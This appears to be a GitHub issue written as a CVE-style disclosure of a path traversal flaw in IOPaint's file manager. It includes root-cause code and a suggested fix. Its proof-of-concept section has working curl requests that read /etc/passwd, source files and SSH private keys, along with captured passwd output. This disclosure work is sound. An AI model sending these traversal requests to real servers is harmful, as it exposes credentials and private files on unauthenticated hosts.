New issue

58ead8e7e02026005 #11

Open

August829 opened 2 weeks ago Owner

CVE Report: IOPaint Path Traversal - Arbitrary File Read

1. Vulnerability Information

- **Vulnerability Type**: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- **Vendor**: Sanster (https://github.com/Sanster)
- **Product**: IOPaint
- **Version**: <= 1.5.3
- **Component**: File Manager Module (`iopaint/file_manager/file_manager.py`)
- **Affected Endpoints**:
  - `GET /api/v1/media_file`
  - `GET /api/v1/media_thumbnail_file`
- **Severity**: High
- **CVSS v3.1 Score**: 7.5
- **CVSS Vector**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

2. Product Background

IOPaint is a free and open-source image inpainting and outpainting tool powered by AI models (LaMa, Stable Diffusion, etc.). It provides a web-based UI served via FastAPI and allows users to browse, edit, and save images through a built-in File Manager. The project is available on PyPI (`pip install iopaint`) and GitHub.

- **GitHub**: https://github.com/Sanster/IOPaint
- **PyPI**: https://pypi.org/project/iopaint/

3. Vulnerability Description

The File Manager component in IOPaint contains a path traversal vulnerability in the `_get_file()` method. The `filename` parameter received from user HTTP query strings is directly concatenated with a base directory path using Python's `Path` `/` operator without any sanitization or validation. This allows an attacker to use `../` sequences to escape the intended directory and read arbitrary files on the server.

Root Cause

In `iopaint/file_manager/file_manager.py`, lines 72-76:

```
def _get_file(self, tab: MediaTab, filename: str) -> Path:
    file_path = self._get_dir(tab) / filename   # No sanitization
    if not file_path.exists():
        raise HTTPException(status_code=422, detail=f"file not found: {file_path}")
    return file_path   # Returned to FileResponse
```

The `filename` parameter comes directly from the HTTP query string (`GET /api/v1/media_file?tab=input&filename=<USER_INPUT>`). There is:

1. **No validation** against path traversal sequences (`../`, `..\\`)
2. **No path canonicalization** (no `Path.resolve()` or `os.path.realpath()`)
3. **No boundary check** (no verification that the resolved path remains within the base directory)

The calling function at line 40-42 passes the result directly to `FileResponse`:

```
def api_media_file(self, tab: MediaTab, filename: str) -> FileResponse:
    file_path = self._get_file(tab, filename)
    return FileResponse(file_path, media_type="image/png")
```

The same vulnerability also exists in `api_media_thumbnail_file()` (line 45-60) and the `get_thumbnail()` method (line 102-158), where `os.path.split()` and `os.path.join()` are used on the unsanitized filename:

```
# line 111-112
original_path, original_filename = os.path.split(filename)
original_filepath = os.path.join(directory, original_path, original_filename)
```

Affected Code Flow

```
HTTP Request: GET /api/v1/media_file?tab=input&filename=../../../etc/passwd
    ↓
api_media_file(tab="input", filename="../../../etc/passwd")   [line 40]
    ↓
_get_file(tab="input", filename="../../../etc/passwd")         [line 72]
    ↓
file_path = Path("/tmp/iopaint_input") / "../../../etc/passwd" [line 73]
          = Path("/etc/passwd")
    ↓
file_path.exists() → True                                      [line 74]
    ↓
return file_path → FileResponse("/etc/passwd")                 [line 42]
    ↓
HTTP Response: 200 OK + contents of /etc/passwd
```

4. Preconditions

1. IOPaint must be started with the `--input` parameter pointing to a directory (to enable the File Manager)
2. The server must be network-accessible to the attacker
3. No authentication is required (IOPaint has no authentication mechanism)

Example startup command that enables the File Manager:

```
iopaint start --model=lama --device=cpu --port=8080 \
  --input=/path/to/images --output-dir=/path/to/output
```

5. Proof of Concept

Environment Setup

```
# Install IOPaint
pip install iopaint==1.5.3

# Create test directories
mkdir -p /tmp/iopaint_input /tmp/iopaint_output

# Start IOPaint with File Manager enabled
iopaint start --model=lama --device=cpu --port=8080 \
  --input=/tmp/iopaint_input --output-dir=/tmp/iopaint_output
```

Exploitation

5.1 Read /etc/passwd

```
curl "http://127.0.0.1:8080/api/v1/media_file?tab=input&filename=../../../etc/passwd"
```

5.2 Read /etc/hosts

```
curl "http://127.0.0.1:8080/api/v1/media_file?tab=input&filename=../../../etc/hosts"
```

Verified output:

```
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting.
127.0.0.1       localhost
...
```

5.3 Read application source code

```
curl "http://127.0.0.1:8080/api/v1/media_file?tab=input&filename=../../../../IOPaint-ic
```

5.4 Read SSH private key (if exists)

```
curl "http://127.0.0.1:8080/api/v1/media_file?tab=input&filename=../../../home/user/.ss
```

5.5 Thumbnail endpoint (secondary vector)

```
curl "http://127.0.0.1:8080/api/v1/media_thumbnail_file?tab=input&filename=../../../etc
```

```
[                    ~ % curl "http://127.0.0.1:8080/api/v1/media_file?tab=input&filename=../../../etc/passwd"       ]
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
_installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false
_lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false
_postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false
_scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false
_ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false
_appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false
_mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false
_appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false
_geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false
_devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false
_sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
```

6. Impact

An unauthenticated remote attacker can read arbitrary files from the server filesystem with the privileges of the IOPaint process, including but not limited to:

- **System files**: `/etc/passwd`, `/etc/shadow` (if readable), `/etc/hosts`
- **Application configuration**: `.env`, `config.json`, database credentials
- **Cryptographic keys**: SSH private keys, TLS certificates, API keys
- **Source code**: Application source code for further vulnerability analysis
- **User data**: Any file accessible to the process user

This vulnerability is especially critical because IOPaint has **no authentication mechanism**, meaning any network-reachable client can exploit it.

7. Suggested Fix

```python
def _get_file(self, tab: MediaTab, filename: str) -> Path:
    base_dir = self._get_dir(tab).resolve()

    # Extract only the filename component, rejecting any path separators
    safe_filename = Path(filename).name
    if not safe_filename or safe_filename != filename:
        raise HTTPException(status_code=400, detail="Invalid filename")

    file_path = (base_dir / safe_filename).resolve()

    # Verify the resolved path is within the base directory
    if not str(file_path).startswith(str(base_dir)):
        raise HTTPException(status_code=403, detail="Access denied")
```

```
    if not file_path.exists() or not file_path.is_file():
        raise HTTPException(status_code=404, detail="File not found")

    return file_path
```

8. References

- https://github.com/Sanster/IOPaint
- https://cwe.mitre.org/data/definitions/22.html
- https://owasp.org/www-community/attacks/Path_Traversal

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants